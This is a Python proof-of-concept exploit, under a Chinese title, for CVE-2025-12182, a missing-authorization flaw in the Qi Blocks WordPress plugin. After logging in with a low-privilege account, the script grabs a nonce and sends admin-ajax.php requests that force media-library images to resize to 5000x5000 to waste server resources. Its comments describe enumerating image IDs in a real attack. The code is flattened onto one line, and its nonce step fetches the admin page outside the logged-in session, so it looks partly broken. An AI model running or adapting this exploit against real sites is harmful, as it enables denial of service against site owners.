CVE-2025-12182 Qi Blocks WordPress插件未授权图片调整漏洞

import requests import re # CVE-2025-12182 PoC - Qi Blocks Unauthorized Image Resize # Target: WordPress site with Qi Blocks plugin <= 1.4.3 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_nonce(site_url): """Extract WordPress nonce for AJAX requests""" resp = requests.get(f"{site_url}/wp-admin/", timeout=10) nonce_match = re.search(r'nonce" value="([a-z0-9]+)"', resp.text) if nonce_match: return nonce_match.group(1) return None def exploit(site_url, username, password): """Exploit unauthorized image resize vulnerability""" session = requests.Session() # Step 1: Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{site_url}/wp-admin/", 'testcookie': '1' } resp = session.post(f"{site_url}/wp-login.php", data=login_data, timeout=10) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Get AJAX nonce nonce = get_nonce(site_url) if not nonce: print("[-] Failed to get nonce") return False # Step 3: Get target image ID (any image in media library) # In real attack, attacker would enumerate image IDs target_image_id = 1 # Example image ID # Step 4: Trigger unauthorized image resize resize_data = { 'action': 'qi_blocks_resize_image', 'nonce': nonce, 'attachment_id': target_image_id, 'width': 5000, # Large size to cause resource abuse 'height': 5000 } resp = session.post(f"{site_url}/wp-admin/admin-ajax.php", data=resize_data, timeout=30) if resp.status_code == 200: print(f"[+] Image resize triggered for attachment ID: {target_image_id}") print(f"[+] Response: {resp.text[:200]}") return True else: print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": exploit(TARGET_URL, USERNAME, PASSWORD)